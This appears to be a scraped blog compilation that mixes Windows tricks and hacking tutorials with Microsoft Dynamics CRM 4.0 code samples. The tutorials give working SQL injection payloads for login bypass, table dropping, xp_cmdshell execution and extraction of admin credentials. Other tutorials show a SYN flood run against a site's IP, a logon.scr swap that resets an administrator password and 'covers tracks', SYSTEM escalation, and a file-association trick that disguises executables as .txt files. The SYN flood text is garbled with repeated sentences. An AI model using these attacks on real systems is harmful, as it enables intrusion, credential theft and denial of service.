Run Command with right click

Set objShell = CreateObject("WScript.Shell")

objShell.RegWrite "HKCR\Folder\Shell\MenuText\Command\", _
"cmd.exe /k cd " & Chr(34) & "%1" & Chr(34)
objShell.RegWrite "HKCR\Folder\Shell\MenuText\", "Run Command Prompt"

Make you Xp Talk

Open a text file in notepad and write:

;copy from here--------------

Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

;----------to here


( ';')< " Save the file with a (*.vbs) extension, it will create a VBScript File.
It will prompt you for a text, input the text and press ok."

SQL Injection

What is SQL Injection? 
SQL Injection the most popular method to pass SQL command deliberately from input filed in application. As a developer you should know how to prevent your application from SQL Injection.

SQL Injection is one of the many web attack mechanisms used by hackers to steal data from organizations. It is perhaps one of the most common application layer attack techniques used today. It is the type of attack that takes advantage of improper coding of your web applications that allows hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database.

Which part of your application is in threat for SQL Injection? 
SQL Injection is the hacking technique which attempts to pass SQL commands and SQL queries (statements) through a web application or desktop application for execution by the backend database. If not sanitized properly, web applications may result in SQL Injection attacks that allow hackers to view information from the database and/or even wipe it out.

Such features as login pages, support and product request forms, feedback forms, search pages, shopping carts and the general delivery of dynamic content, shape modern websites and provide businesses with the means necessary to communicate with prospects and customers. These website features are all examples of web applications which may be either purchased off-the-shelf or developed as bespoke programs.

These website features are all susceptible to SQL Injection attacks which arise because the fields available for user input allow SQL statements to pass through and query the database directly.

Basic SQL Injection, power of 'T'='T'_________________

________
Most login page is ask for User Name and Password from the user. User type the user name and password in the login form and submit for authenticate. System query the database with supplied user name and password if it found in the database it authenticate the user otherwise it show login fail message. When we submit the login page most login page will pass query to database like.

 select * from user_master where user_name='" & TxtUserName.Text & "' and 
user_password ="" & TxtPassword.Text & "'"

If we type User Name as ANYUSER and Password as ANYPASS then actual query look like.


 select * from user_master where user_name='ANYUSER' and user_password ='ANYPASS'

It will not work as there is no such user name and password in the table user_master. and it will show login fail message. Now just change your password and type ANYPASS' or 'T' = 'T and submit the page again. This time the query look like.

 select * from user_master where user_name='ANYUSER' and user_password ='ANYPASS' or 'T' = 'T'
Now it works and you are able to login the page without knowing the user name and password. How it was happen. the query will always return all records from the database because 'T' = 'T' always True.

What are the SQL command you can pass
If the underlying database supports multiple command in single line, then you can pass any valid DML, DCL and DDL command through SQL injection. for example following command will drop user_master table from the database. For example type in password box ANYPASS' ; drop table user_master -- and submit the page again. this time underlying query looks like.

select * from user_master where user_name='ANYUSER' and user_password ='ANYPASS' ; drop table user_master -- '


Now it drop the user_master table from the database. In this case we pass drop table command along with password. -- two dash is comment for SQL no other code will be executed after that. If you know the table structure then you can Insert and update the record as well through SQL Injection.

SQL Injection by example

When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This will help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "11.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.

What do you need for SQL Injection?
Any web browser.

Where to Start SQL Injection?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Everything between the and have potential parameters that might be useful (exploit wise).


1. What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:
http://duck/index.asp?id=10

2. How do you test if it is vulnerable for SQL Injection?

Start with a single quote trick. Input something like:
hi' or 1=1--

Into login, or password, or even in the URL. Example:
 - Login:
hi' or 1=1--

 - Pass: hi' or 1=1--

 - http://duck/index.asp?id=hi&#39; or 1=1--


If you must do this with a hidden field, just download the
source HTML from the site, save it in your hard disk, modify
the URL and hidden field accordingly. Example:
<FORM
action=http://duck/Search/search.asp method=post>

<input type=hidden name=A value="hi' or 1=1--">

</FORM>


If luck is on your side, you will get login without any
login name or password.

3. But why ' or 1=1-- is important in SQL Injection?

Let us look at another example why ' or 1=1-- is important.
Other than bypassing login, it is also possible to view
extra information that is not normally available. Take an
asp page that will link you to another page with the
following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is
the value assigned to the variable. In order to do that, an
ASP might contain the following code (OK, this is the actual
code that we created for this exercise):
v_cat =request("category")

sqlstr=&amp;amp;quot;SELECT * FROM product WHERE PCategory='" & v_cat &
"'"

set rs=conn.execute(sqlstr)


As we can see, our variable will be wrapped into v_cat and
thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more
rows that match the WHERE condition, in this case, 'food'.
Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food&#39; or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we
substitute this in the SQL query, we will have:
SELECT *
FROM product WHERE PCategory='food' or 1=1--'


The query now should now select everything from the product
table regardless if PCategory is equal to 'food' or not. A
double dash "--" tell MS SQL server ignore the rest of the
query, which will get rid of the last hanging single quote
('). Sometimes, it may be possible to replace double dash
with single hash "#".

However, if it is not an SQL server, or you simply cannot
ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some
of these possibilities:
' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a


4. How do I get remote execution with SQL injection?

Being able to inject SQL command usually mean, we can
execute any SQL query at will. Default installation of MS
SQL Server is running as SYSTEM, which is equivalent to
Administrator access in Windows. We can use stored
procedures like master..xp_cmdshell to perform remote
execution:
'; exec
master..xp_cmdshell 'ping 10.10.1.2'--


Try using double quote (") if single quote (') is not
working. The semi colon will end the current SQL query and
thus allow you to start a new SQL command. To verify that
the command executed successfully, you can listen to ICMP
packet from 10.10.1.2, check if there is any packet from the
server:
#tcpdump
icmp


If you do not get any ping request from the server, and get
error message indicating permission error, it is possible
that the administrator has limited Web User access to these
stored procedures.

5 How to get output of my SQL query by SQL Injection?

It is possible to use sp_makewebtask to write your query
into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html&quot;, "SELECT * FROM INFORMATION_SCHEMA.TABLES"
But the target IP must folder "share" sharing for Everyone.

6 How to get data from the database using ODBC error message by SQL Injection?
We can use information from error message produced by the MSSQL Server to get almost any data we want. Take the following page for example:
http://duck/index.asp?id=10
We will try to UNION the integer '10' with another string from the database:
http://duck/index.asp?id=10
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--


The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the
database. It was chosen because we know it always exists. Our query:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL
Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:
Microsoft
OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data
type int.

/index.asp, line 5
The error message is nice enough to tell us the value that
cannot be converted into an integer. In this case, we have
obtained the first table name in the database, which is
"table1".

To get the next table name, we can use the following query:
http://duck/index.asp?id=10
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME NOT IN ('table1')--


We also can search for data using LIKE keyword:
http://duck/index.asp?id=10
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE '%25login%25'--


Output:
Microsoft
OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'admin_login' to a column of
data type int.

/index.asp, line 5


The matching patent, '%25login%25' will be seen as %login%
in SQL Server. In this case, we will get the first table
name that matches the criteria, "admin_login".

7. How to mine all column names of a table by SQL Injection?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--


Output:
Microsoft
OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'login_id' to a column of data
type int.
/index.asp, line 5


Now that we have the first column name, we can use NOT IN ()
to get the next column name:
http://duck/index.asp?id=10
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'
WHERE COLUMN_NAME NOT IN ('login_id')--


Output:
Microsoft
OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'login_name' to a column of
data type int.
/index.asp, line 5


When we continue further, we obtained the rest of the column
name, i.e. "password", "details". We know this when we get
the following error message:
http://duck/index.asp?id=10
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'
WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--


Output:
Microsoft
OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY
items must appear in the select list if the statement
contains a UNION operator.

/index.asp, line 5
8. How to retrieve any data we want?

Now that we have identified some important tables, and their
column, we can use the same technique to gather any
information we want from the database.

Now, let's get the first login_name from the "admin_login"
table:
http://duck/index.asp?id=10
UNION SELECT TOP 1 login_name FROM
admin_login--


Output:
Microsoft
OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'neo' to a column of data type
int.

/index.asp, line 5


We now know there is an admin user with the login name of
"neo". Finally, to get the password of "neo" from the
database:
http://duck/index.asp?id=10
UNION SELECT TOP 1 password FROM admin_login where
login_name='neo'--


Output:
Microsoft
OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'm4trix' to a column of data
type int.

/index.asp, line 5


We can now login as "neo" with his password "m4trix".

9. How to get numeric string value?

There is limitation with the technique describe above. We
cannot get any error message if we are trying to convert
text that consists of valid number (character between 0-9
only). Let say we are trying to get password of "trinity"
which is "31173":
http://duck/index.asp?id=10
UNION SELECT TOP 1 password FROM admin_login where
login_name='trinity'--



We will probably get a "Page Not Found" error. The reason
being, the password "31173" will be converted into a number,
before UNION with an integer (10 in this case). Since it is
a valid UNION statement, SQL server will not throw ODBC
error message, and thus, we will not be able to retrieve any
numeric entry.
To solve this problem, we can append the numeric string with
some alphabets to make sure the conversion fail. Let us try
this query instead:
http://duck/index.asp?id=10
UNION SELECT TOP 1 convert(int, password%2b'%20morpheus')
FROM admin_login where login_name='trinity'--


We simply use a plus sign (+) to append the password with
any text we want. (ASSCII code for '+' = 0x2b). We will
append '(space)morpheus' into the actual password.
Therefore, even if we have a numeric string '31173', it will
become '31173 morpheus'. By manually calling the convert()
function, trying to convert '31173 morpheus' into an
integer, SQL Server will throw out ODBC error message:

Microsoft
OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value '31173 morpheus' to a column
of data type int.

/index.asp, line 5


Now, you can even login as 'trinity' with the password
'31173'.

10. How to update/insert data into the database by SQL
Injection?


When we successfully gather all column name of a table, it
is possible for us to UPDATE or even INSERT a new record in
the table. For example, to change password for "neo":
http://duck/index.asp?id=10;
UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE
login_name='neo'--


To INSERT a new record into the database:
http://duck/index.asp?id=10;
INSERT INTO 'admin_login' ('login_id', 'login_name',
'password', 'details') VALUES (666,'neo2','newpas5',&amp;#39;NA')--


We can now login as "neo2" with the password of "newpas5".

11. Where can I get more info?

One of the earliest works on SQL Injection we have
encountered should be the paper from Rain Forest Puppy about
how he hacked PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Great article on gathering information from ODBC error
messages:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

A good summary of SQL Injection on various SQL Server on
http://www.owasp.org/asac/input_validation/sql.shtml

Senseport's article on reading SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm

Other worth readings:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

Syn flood, crashing your site.

how to bring down a site by Syn flood, for those who do not know what is Syn flood see this explanation

What is Syn Flood?
To understand the Syn Flood is necessary, even if quickly, talk a little bit of TCP. To understand the Syn Flood is necessary, even if quickly, talk a little bit of TCP.



The TCP is connection-oriented: first client and server connect, and only after this step is that the data can be exchanged. The TCP is connection-oriented: first client and server connect, and only after this step is that the data can be exchanged. Similar to a phone call, where you must first dial the number. Similar to a phone call, where you must first dial the number.

The step of "dial" in TCP is called a three-way handshake and TCP flags are used to signal which step is taking place. The step of "dial" in TCP is called a three-way handshake and TCP flags are used to signal which step is taking place. Before any data bit, the following packet exchange takes place between client and server: Before any bit of data, the following packet exchange takes place between client and server:

1. 1. The client sends a connection request with a TCP packet with no data, having the SYN flag turned on and others off. The client sends a connection request with a TCP packet with no data, having the SYN flag turned on and others off. Because of the presence of the SYN flag, this package is known as a SYN packet Because of the presence of the SYN flag, this package is known as a SYN packet

2. 2. If the server you want and can not answer, it returns a package to the client even without data, with the flags SYN and ACK on. If the server you want and can not answer, it returns a package to the client even without date, with the SYN and ACK on. This second step is known as a SYN / ACK. This second step is known as a SYN / ACK.

3. If the client still wants to keep the connection, the server returns a third packet with no data, only the ACK flag turned on (SYN off). If the client still wants to keep the connection, the server returns a third packet with no data, only the ACK flag turned on (SYN off).

Only after the third step is that the data can be exchanged. Only after the third step is that the data can be exchanged.

Most important to understand the seriousness of the attack is to know that the server, upon receiving the first packet (SYN), if he wants to meet (eg HTTP service, port 80), must first respond with SYN / ACK, allocate resources hardware to meet this new connection. Most important to understand the seriousness of the attack is to know that the server, upon receiving the first packet (SYN), if he wants to meet (eg HTTP service, port 80), must first respond with SYN / ACK, allocate hardware resources to meet this new connection.

Because TCP is a reliable protocol, which deals with disorganization and loss of packages, these resources are scarce and involve buffers for sending and receiving control, sequential numbers, several watches, in short, many features of memory, mostly. Because TCP is a reliable protocol, which deals with disorganization and loss of packages, these resources are scarce and involve buffers for sending and receiving control, sequential numbers, several watches, in short, many features of memory, mostly.

And what happens if a machine makes the SYN (step 1), the server will allocate resources and respond with SYN / ACK (step 2) but the client does not complete the handshake and does not perform the last step? And what happens if a machine makes the SYN (step 1), the server will allocate resources and respond with SYN / ACK (step 2) but the client does not complete the handshake and does not perform the last step? The resources are allocated? The resources are allocated?

They are, but not forever. They are, but not forever. The server waits for the ACK from the client and if it does not arrive after a certain time, the resources are deallocated. The server waits for the ACK from the client and if it does not arrive after a certain time, the resources are deallocated. But the fact is that these resources actually allocated remain for some time, even if short. But the fact is that these resources actually allocated remain for some time, even if short.

Then you enter the SYN Flood (literal translation: SYN flood). Then you enter the SYN Flood (literal translation: SYN flood). In it, the attacker generates SYN's how the machine is capable of it and does not answer any of them. In it, the attacker generates SYN's how the machine is capable of it and does not answer any of them. Has been that the server will allocate resources to each one as if they were legitimate requests, only when deallocating time runs out.It is perfectly understandable that the attacker can generate SYN packets much faster and easier than the server can handle them. It is perfectly understandable that the attacker can generate SYN packets much faster and easier than the server can handle them.

Of course, today we have hardware memory capacities and resources giant, but there are infinite resources. Of course, today we have hardware memory capacities and resources giant, but there are infinite resources. Sooner or later the resources are exhausted and the server will be unable to meet legitimate customers. Sooner or later the resources are exhausted and the server will be unable to meet legitimate customers.

This is the SYN flood! This is the SYN flood!

the methods posted below are using a Linux distribution, if you want to use on a windows download c compiler (cygwin, dev c + +, etc.)
let go
____________
Download the synflood.c
Download [http://www.4shared.com/file/156263362/82810cbb/synflooder.html]
open the terminal and then compile it
gcc-o synflood.c Synflood
then run it
. / Synflood
will appear
Gimme:. / Synflood
IP site which you want to overthrow, to know the IP of the site so give the ping command www.site.com.br
the door which will be used to attack
example
. / Synflood 200.170.81.35 80
Connected No: 0
Connected No: 1
Connected No: 2
In Connected: 3
Connected No: 4
Connected No: 5
Connected No: 6
Connected No: 7
Connected No: 8
Connected No: 9
In Connected: 10
In Connected: 11
there goes until the site goes down and anyone who will not try to access it. 

Steganography - Hiding from plain text

This small tutorial will show you how to Hide file inside any file..but the example here uses JPG...you can try your luck on others files too..
Step 1: Zip,rar or 7z all the file you want to hide..
Step 2: Choose a Image file (image.jpg)..
So now we have a zip file(compress.zip) and a JPEG(image.jpg)..
Step 3: Open the Command prompt and type

Copy /b image.jpg+compress.zip New.jpg

that's it...
now open the file in a image viewer..then open the file with Winrar,7zip...

How it works..

the /b switch in the copy command is used for binary files and the + sign joins them to a new file..New.jpg

Running process as SYSTEM user

open a cmd as administrator,
type in "at 14:55 /interactive cmd.exe"
The time should be about one minute in the future in 24 hour format.
When the time happens, your CMD will change to SVChost.exe.
Open task manager
go to explorer.exe and hit end process.
In your SVChost.exe box
type "cd.." to go up one level.
Then type in "explorer.exe"

Then explorer will be running as a system user, giving you full access to windows and the kernel.

Breaking the WinXP Logon

This tutorial shows how you can get access to Admin Account. The only thing needed here is the guest account.

If you log into a limited account(guest account) on your target machine and open up a dos prompt
then enter this set of commands Exactly in the prompt.

----------------------------------------

-------------------------------------
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
-----------------------------------------------------------------------------
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Since in the limited account you can't use net user command

Once this happens if you enter this command
net user password
If the Administrator Account is called Admin and you want the password xxxx enter this
net user Admin xxxx
and this changes the password on Admin machine to xxxx and your in.

dont forget to copy the contents of temphack back into the system32 dir to cover tracks.

Thanx..

Executing a text file

This is a short tutorial to tell you how to make a .txt file execute like a .exe file.

Basically files are at first recognized by its extension. Which is associated to open with specific program. That's why .txt files opens with notepad...So we just need to change the association to make it execute like .exe file.

Open the Dos promt and type
assoc .txt
It shows the association info of the text file like .txt=txtfile now type
assoc .txt=exefile
And close the cmd window.

Now choose a .exe file and change its extension to .txt...and click it 
But the .exe won't look like a notepad icon...the solution is to compile an exe with a notepad icon.

Detect metadata changes in MSCRM 4.0

The

Google Tags:
Message retrieves a time stamp for the metadata can be executed before you retrieve metadata. You can repeat this process later to see if the metadata has changed in the intervening time. If the value is the same, the metadata has not changed. If the value is different, you retrieve the metadata again to get the updated values.

This sample shows how to detect metadata changes in MSCRM 4.0 for the purposes of building a metadata cache.


using System;
using System.Collections;
using MetadataServiceSdk;
using CrmSdk;

namespace Microsoft.Crm.Sdk.Reference.MetadataServiceApi
{
///
/// This sample shows how to retrieve a timestamp.
///

public class RetrieveTimestamp
{
public RetrieveTimestamp()
{
}

public static bool Run(string crmServerUrl, string orgName)
{
bool success = true;

try
{
// Set up the CRM Services.
MetadataService metadataService = Microsoft.Crm.Sdk.Utility.CrmServiceUtility.GetMetadataService(crmServerUrl, orgName);
metadataService.PreAuthenticate = true;

// Create a metadata timestamp request
RetrieveTimestampRequest initialTimestampRequest = new RetrieveTimestampRequest();

// Execute the request
RetrieveTimestampResponse initialTimestampResponse = (RetrieveTimestampResponse)metadataService.Execute(initialTimestampRequest);

// Store the retrieved metadata timestamp
string initialTimestamp = initialTimestampResponse.Timestamp;

// Create a metadata timestamp request
RetrieveTimestampRequest timestampRequest = new RetrieveTimestampRequest();

// Execute the request
RetrieveTimestampResponse timestampResponse = (RetrieveTimestampResponse)metadataService.Execute(timestampRequest);

// Access the retrieved timestamp
string currentTimestamp = timestampResponse.Timestamp;

// Compare the timestamp with a previously retrieved timestamp
if (currentTimestamp == initialTimestamp)
{
// The metadata has not been modified since our initial timestamp was retrieved.
}
else
{
// The metadata has been modified since our initial timestamp was retrieved.
}

#region check success

// Verify that the timestamp has data
if (currentTimestamp.Length == 0)
{
success = false;
}

#endregion

#region Remove Data Required for this Sample

#endregion

}
catch (System.Web.Services.Protocols.SoapException)
{
// Perform error handling here.
throw;
}
catch (Exception)
{
throw;
}

return success;
}
}
}

Custom Workflow Activities for Microsoft Dynamics CRM 4.0

Developing custom workflow activities enables us to merge our own requirements with the Microsoft CRM 4.0 workflow features. This custom workflow activity can be used as a workflow step within a CRM workflow for opportunities. To keep it simple we will only export the product names of all products related to an opportunity (opportunityproduct) to a text file and we will not define the complete workflow to cover the scenario described above.

The custom workflow activity will call a Web service method of Microsoft Dynamics CRM and use an input parameter that can be entered by the user as a workflow property within the CRM workflow form.

 

Prerequisites

These are the tools and components I used to build my own Microsoft Dynamics CRM custom workflow activity:

  • Microsoft Visual Studio 2005
  • Windows Workflow Foundation
  • Visual Studio 2005 extensions for .NET Framework 3.0 (Windows Workflow Foundation)
  • Microsoft Dynamics CRM 4.0 SDK: the following assemblies must be added to your project. They can be found in the SDK\Bin folder:
    • Microsoft.Crm.Sdk.dll
    • Microsoft.Crm.SdkTypeProxy.dll
  • The Plug-in Developer Tool to register the workflow as a plug-in: see Microsoft Dynamics CRM SDK Documentation for more information how to build and use this tool

 

Building a Workflow Activity Library

If the Visual Studio 2005 extensions for .NET Framework 3.0 are installed, some additional project templates for workflows are provided:

  • Choose the Workflow Activity Library template.
  • Add a reference to Microsoft.Crm.Sdk.dll and Microsoft.Crm.SdkTypeProxy.dll located in the SDK\Bin folder to the project created.

You may want to rename the generated Activity1 class. Please do not use the same name as the namespace of your project because you might get problems when publishing this workflow in CRM. In this example I use ExportProductInformationActivity as the class name andExportProductInformation as the namespace.

Change to the code view of the generated class and you see that the generated class derives from SequenceActivity. This is an activity of the Windows Workflow Foundation base activity library which may run a set of child activities in an ordered manner. This is ok for our purpose even though we will not run any child activities.

To access the custom workflow activity from the Microsoft CRM 4.0 workflow interface you have to annotate the class with the .NET attribute CrmWorkflowActivity and override the Execute method which is called by the workflow runtime to execute an activity. Basically, that is all you have to do to implement a custom workflow activity for Microsoft CRM 4.0.

In our scenario we want to access the CRM Web service methods to get information about the opportunityproducts related to the opportunity for which the workflow is started.

Use the ActivityExecutionContext passed to the Execute method to get the workflow context, which contains information about the instance of the workflow.
Basically you will get information about the primary entity (name, id, pre- and post-image) using the workflow context, but it also contains a method CreateCrmService which returns a reference to the CrmService. Please note that this is a reference to the CrmService of the SDK assembly, we added to the project, so you do not have access to any custom fields or entities. Use CRM's MetadataService Web service to access them. According to the CrmService there is a CreateMetadataService method to get a reference to the MetadataService.

Here is the code of ExportProductInformationActivity.cs:

using System;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Collections;
using System.Drawing;
using System.Workflow.ComponentModel.Compiler;
using System.Workflow.ComponentModel.Serialization;
using System.Workflow.ComponentModel;
using System.Workflow.ComponentModel.Design;
using System.Workflow.Runtime;
using System.Workflow.Activities;
using System.Workflow.Activities.Rules;
using Microsoft.Crm.Sdk;
using Microsoft.Crm.SdkTypeProxy;
using Microsoft.Crm.Workflow;
using System.IO;

namespace ExportProductInformation
{
/// <summary>
/// Custom workflow activity class derived from SequenceActivity.
/// The CrmWorkflowActivity provides the information needed by the CRM workflow form
/// </summary>
[CrmWorkflowActivity("Export Product Information", "My Custom Workflow Activities")]
public partial class ExportProductInformationActivity : SequenceActivity
{

/// <summary>
/// The dependency property is used to define an input parameter
/// It is annotated with attribute CrmInput to access the parameter within the CRM workflow form
/// The parameter of Attribute CrmDefault is used as the default content of the property.
/// </summary>
public static DependencyProperty filenameProperty = DependencyProperty.Register("filename", typeof(string), typeof(ExportProductInformationActivity));

[CrmInput("Filename")]
[CrmDefault(@"C:\Test\OrderForecast.txt")]
public string filename
{
get
{
return (string)base.GetValue(filenameProperty);
}
set
{
base.SetValue(filenameProperty, value);
}
}

public ExportProductInformationActivity()
{
InitializeComponent();
}

/// <summary>
/// The Execute method is called by the workflow runtime to execute an activity.
/// </summary>
/// <param name="executionContext"> The context for the activity</param>
/// <returns></returns>
protected override ActivityExecutionStatus Execute(ActivityExecutionContext executionContext)
{

// Get the context service.
IContextService contextService = (IContextService)executionContext.GetService(typeof(IContextService));
IWorkflowContext context = contextService.Context;

// Use the context service to create an instance of CrmService.
ICrmService crmService = context.CreateCrmService(true);
BusinessEntityCollection opportunityProducts = RetrieveOpportunityProducts(crmService, context.PrimaryEntityId);

// Use the given filename to create a new StreamWriter
TextWriter w = new StreamWriter(this.filename);
string productname;

foreach (DynamicEntity de in opportunityProducts.BusinessEntities)
{
productname = de.Properties.Contains("productid") ? ((Lookup)de.Properties["productid"]).name : null;
w.WriteLine(productname);
}

w.Close();

return ActivityExecutionStatus.Closed;
}

private BusinessEntityCollection RetrieveOpportunityProducts(ICrmService service, Guid oppId)
{
Microsoft.Crm.Sdk.Query.QueryByAttribute query = new Microsoft.Crm.Sdk.Query.QueryByAttribute();

query.ColumnSet = new Microsoft.Crm.Sdk.Query.AllColumns();
query.EntityName = EntityName.opportunityproduct.ToString();
query.Attributes = new string[] { "opportunityid" };
query.Values = new string[] { oppId.ToString() };

RetrieveMultipleRequest retrieve = new RetrieveMultipleRequest();
retrieve.Query = query;
retrieve.ReturnDynamicEntities = true;

RetrieveMultipleResponse retrieved = (RetrieveMultipleResponse)service.Execute(retrieve);
return retrieved.BusinessEntityCollection;
}
}
}



You can noticed that the code contains the definition of a DependencyProperty named filenameProperty. In Windows Workflow Foundation Properties provided on activities are used to make the activity configurable by the user respectively the consumer of the activity. In our case the CRM user should be able to decide the location where the generated export file will be saved. The property is annotated with the CRMInput attribute to be able to access it as a workflow property on the CRM workflow form as an input parameter. The CrmDefaultattribute is used to set a default value.



All plug-in assemblies used with Microsoft CRM 4.0 have to be signed. So we have to sign the workflow assembly, too, as it will be registered as a plug-in. To sign the assembly with a strong name, go to the project properties of the Visual Studio project, tab 'Signing', check 'Sign the assembly'. Under 'Choose a strong name key file' choose <New> and provide a name for the key file.


 


Registering the Workflow Activity as a Plug-in


After your custom workflow activity has been compiled, you have to register this assembly as a plug-in. Your activity will then appear in the workflow form in the Microsoft Dynamics CRM Web application.

I used the SDK's Plug-in Developer Tool to register the workflow activity using the following register.xml:

<?xml version="1.0" encoding="utf-8" ?>
<Register
LogFile = "Plug-in Registration Log.txt"
Server = "http://[your CRM server:port]"
Org = "[your organization name]"
Domain = "[your domain]"
UserName= "[your user name]" >

<Solution SourceType="0" Assembly="[location of the assembly dll]">
<WorkflowTypes>
<WorkflowType
TypeName="ExportProductInformation.ExportProductInformationActivity"
FriendlyName="Export Product Information"/>
</WorkflowTypes>
</Solution>
</Register>


If you run the Plug-in Developer Tool multiple times to register the assemblies after you changed something you might have to restart IIS.



Testing the Custom Workflow Activity


The Custom Workflow Activity is now registered and if you open the Workflows and create a new one for opportunities, you can add your activity as a workflow step:

Make sure you have created an appropriate directory at CRM Server to save the output file to as there is no error handling implemented. Saving the file to C:\ is not the best option.

To keep it simple we choose the workflow to be available to run On Demand. Please do not forget to uncheck the option Record is created under Start when.
After publishing the workflow you can start it by selecting an opportunity and using button Run Workflow.

 

Debugging the Custom Workflow Activity


To Debug the custom workflow activity you have to copy the pdb file of you assembly to %installdir%\server\bin\assembly on your CRM server, set a breakpoint in your Execute method and attach your Visual Studio project to Microsoft Dynamics CRM asynchronous service (processCrmAsyncService.exe) on your CRM Server.

If you have difficulties to update the file in the assembly directory on the server because there is already another copy of the file run iisreset in a command window and / or restart the Microsoft Dynamics CRM asynchronous service.